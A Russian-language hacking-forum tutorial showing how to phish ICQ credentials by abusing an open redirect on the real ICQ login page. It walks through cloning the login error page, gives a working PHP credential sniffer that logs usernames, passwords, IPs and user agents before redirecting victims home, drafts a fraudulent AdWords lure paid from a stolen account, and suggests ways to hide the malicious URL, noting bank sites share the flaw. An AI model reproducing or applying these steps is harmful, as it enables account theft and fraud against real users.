Re-Auth Fakeing - как, где и зачем.

Aels

VIP member
Messages
318
Reputation
46
Reaction score
81
Points
28
Re-Auth Faking - как, где и зачем.

========
ЛИРИКА
========

1) Тема стара как мир (с тех пор как я ее начал пользовать уже прошло года 3, и актуальности она не потеряла)
2) Ни где в сети я не нашел упоминания такого метода. Re-Auth Faking - название от балды, просто не понятно как это охарактеризовать.
3) Мы будем фейкать страницу авторизации (но не простую, а золотую)
4) Нам понадобится:
- голова+руки
- бесплатный хостинг с пхп (на скуль и рекламу плевать)
- блокнот с синтаксической подсветкой ( например Notepad++, сойдет и Ctrl+U Оперы)
- [опционально] понимание html.

========
ОПИСАНИЕ
========

Когда юзер приходит на сайт, потом ползет логиниться ( ну чтобы коммент отписать например), то очень часто сайт посылает его по ссылке вида
httр://site.com/index.php?do=auth&redir=httр://site.com/showcontent.php?id=1234
где httр://site.com/showcontent.php?id=1234
- ссылка, на которую будет переадресован юзер после успешной авторизации. Это едва ли не общепринятая практика - после авторизации возвращать юзера на ту страницу, с которой пришел.
За примером далеко ходить не нужно (не даю ссылки на сайты банков, но их больше чем вы думаете, только поищите):
_https://www.icq.com/karma/login_page.php?dest=%2Fblogs%2Ftag%2F23%26icid%3Dhp_blog_tags_23%2F&service=11
Это страница авторизации на icq.com ( тут пробивает ностальгия, каждый вспомнил свой первый шестизнак^^
попадаем мы на эту ссылку просто - идем на icq.com, жмем там на любой линк, а оттуда на кнопку "Login",
Выделенное фиолетовым - линк, на который нас перенесет после успешной авторизации.
Угу, правильно подумали.
Нам ведь ничего не мешает вписать туда свой адрес?
*нет, на самом может мешать совесть (но ведь она не против?) или админы сайта, которые этот самый адрес фильтруют на принадлежность к их сайту (это главная помеха, но в данном случае ее нет))
идем на https://www.icq.com/karma/login_pag...st=http://google.ru&rem=&service=1&uin_email=
авторизуемся, и... улетаем на гогл =ъ

========
К ДЕЛУ
========​

Хватит прыгать от радости, рановато еще.
Итак.
Предположим, жертва пришла по нашему линку (как ее заставить - разберем ниже), что дальше:
- она авторизуется
- она улетает на наш фейк.
Что она должна увидеть? - вариантов вагон и маленькая тележка (плясать от вашей фантазии), но самый гуманный - сказать что логин\пароль не верные, и попросить написать их снова.
Стало быть нам нужна страничка с ошибкой - нет проблем - вписываем в форму неверный уин\пасс и получаем страничку с ошибкой.

==[ Делаем фейк ]==

Клацаем по ней правой -> посмотреть исходный код.
Поиск -> "action=" . Это адрес, на который отправятся данные формы "login_frm".
Идем на бесплатный хостинг, регаемся, получаем свой адрес, и списываем его вместо https://www.icq.com/karma/login.php.
долно получиться чтото вроде:
action="http://site.host.ru/login.php",
где login.php - имя вашего снифера, напишем его чуть позже.
Смотрим в конец строки, видим onsubmit="return check();" - вырезаем его нафиг, зачем нам всякие проверки, мы же доверяем юзеру?)
Далее видим:
Code:
<div class="d1-3" style="color: #FF0000">Номер ICQ и/или пароль неправильные. Введите данные снова</div>
		<div class="d1-4">
			[COLOR="#9932cc"]<input type="hidden" name="dest" value="http://freebug.ru">[/COLOR]
			[COLOR="#9932cc"]<input type="hidden" name="service" value="1">
			<input type="hidden" name="icq_ln" value="A4331CD015D712B34FAD55CCF522DF3A373E8170DAEF20A5BCBA454C6D2AD966">[/COLOR]
			<div class="d1-4-1">Номер ICQ или E-mail</div>
			<div class="d1-4-2">Пароль ICQ</div>
			<div class="d1-4-3"><input type="text" [COLOR="Lime"]name="uin_email"[/COLOR] value="" class="d1-4-input" [COLOR="#9932cc"]onkeydown="uin_field_change()"[/COLOR]></div>
			<div class="d1-4-4"><input type="password" [COLOR="Lime"]name="password"[/COLOR] class="d1-4-input" maxlength="9"></div>
			<div class="d1-4-5">
					<div>
						<div class="but-3" name="next" title="Войти" [COLOR="#9932cc"]onclick="submit_login();"[/COLOR]>
							<img src="img/icon_l.gif" width="20" height="29" alt="">
						</div>
						<div class="but-1" name="next_btn" id="next_btn" title="Войти" [COLOR="#9932cc"]onclick="submit_login();"[/COLOR]>
							<div>Войти</div>
						</div>
						<div class="but-2" name="next" title="Войти">
							<input type="image" src="img/corner_r.gif" width="6" height="29" alt="">
						</div>
					</div>
					
				</div>
				<div class="d1-4-6">
					<input type="checkbox" class="d1-4-chk" id="rem" name="rem" value="1"><span class="d1-4-rem" [COLOR="#9932cc"]onclick="remember_me_check()"[/COLOR]> Запомнить меня</span>
					 <img src="img/info.gif" title="Справка" class="d1-4-img" alt="" border="0" width="14" height="14" onclick="window.open('http://www.icq.com/legal/legal_popup_message_ru.html',null,'height=200,width=600,status=no,toolbar=no,menubar=no,location=no,resizable=no')">
				</div>
		</div>
		</form>
Все что фиолетовое - смело стираем, это их асечный JS, он нам не нужен
Зеленое - запомни, пригодится позже.
Теперь ишем все адреса вида "/папка/файл.расш" - такие адреса называются относительными,
с нашего хостинга они работать не будут, поэтому ручками делаем из них абсолютные, подставляя в перед ними адрес сайта аси.
было:
img/corner_r.gif
стало:
https://www.icq.com/karma/img/corner_r.gif
все заменили? отлично, идем дальше.
Сейвим нашу правленую страничку на винт, заливаем на хостинг с именем
index.html,
- это чтобы она загружалась при обращении в корень сайта.
Морда готова. Теперь сам снифф.
Вот примитивнейший пример:
PHP:
<?php
$date=date("[ d/m/y H:i ]");	// формируем дату визита жертвы
$fp=fopen("log.txt","a"); 		// открываем файл для записи
fwrite($fp,"$date ".$_SERVER['REMOTE_ADDR']." [ ".$_SERVER['HTTP_USER_AGENT']." ]\n");	/* пишем дату, 
IP - по нему, через geo-ip сервисы будем искать соксы нужного "района", 
юзер-агент содержит браузер\язык\ОС - незаменимо для подстройки под систему холдера карты и тп. */
fwrite($fp,"[ ".$_POST['uin_email'].":".$_POST['password']." ]\n");	/*тут записываем собственно логин(уин) и пароль,
как видите, имена переменных между кавычками должны совпадать с именами полей формы (те что выделили зеленым)*/
fclose($fp);	// закрываем файл
header('Location:http://icq.com/');	// посылаем юзера "по-дальше", а лучше домой, где он уже авторизован. Чтобы ничего не заподозрил.
exit(); // выходим.
?>
снифф есть, называем его login.php, *или как вы там в экшене формы написали.
создаем на всякий случай файл log.txt, он должен создасться, но вдруг))

заливаем оба файла на хостинг к нашей морде, разрешаем запись в log.txt.
Все, набор готов.

=========
КАК ПРИВЕСТИ ЖЕРТВУ
=========​

самым удобным методом считаю google AdWords, скарженый лучше)
пишем текст вида:
Новая акция для действуюших пользователей ICQ *банка\конторы\чего угодно
если твой номер шестизначный - ты наш самый ранний пользователь и мы дарим тебе уникальные сервисы совершенно бесплатно на 1 год!
*тут много сервисов типо транспорта, смс,звонком по миру и еще чего придумаете*
ссылка для пользователя - что-то типо www.icq.com/gifts/
реальная - наша заряженная.
ну вот вроде бы и все...
а нет, еще:
Как спрятать палевный урл, ведь придирчивый юзер может второй раз глянуть на адресную строку (что к счастью очень маловероятно, он будет думать почему пасс не подошел, а не где он)
можно через редиректилки (и такие забавные как http://to./ )
можно воспользоваться этой статьей:
http://freebug.ru/fakeip.rar - статья старая, но еще актуальная, залил куда попало, там ее не скоро потрут, заброшенный укоз.


========
ИТОГИ
========​

плюсы метода:
+юзер идет на реальный адрес реального "родного" сайта.
+браузер не вопит о фроде, поскольку сайт сам перенаправляет пользователя
+да-да, есть и сайты банков с такой багой.
+юзер сам отдает нам логин и пасс, никакого гемора с дешифровкой.

минусы:
-можно пропалить адрес после "неудачного ввода пароля"
-расходы на пиар ядовитого урла всетаки есть.
-пароль зачастую во втором языке юзера (как мы, русскоговорящие не глядя меняем язык при неудачной авторизации, так и они, поэтому возможно придется погеморится с сопоставлением раскладок страны ваших "клиентов".



P.S.
Статья не раскрывает тайн мирового заговора и расчитана на уровень "медного чайника",
за стиль написания не бейте.
именно такой нехитрой методой я увел свой первый шестизнак.
Если вышло неплохо - перекиньте в раздел статей.
Вопросы\замечания конечно приветствуются.

PP.S.
http://to./ оказывается уже просит пароль( ищите другие сокращалки адресов.
 
Last edited:

Aels

VIP member
Messages
318
Reputation
46
Reaction score
81
Points
28
кстати, сейчас нашел такой баг на гогло-сайтах^^
 
Top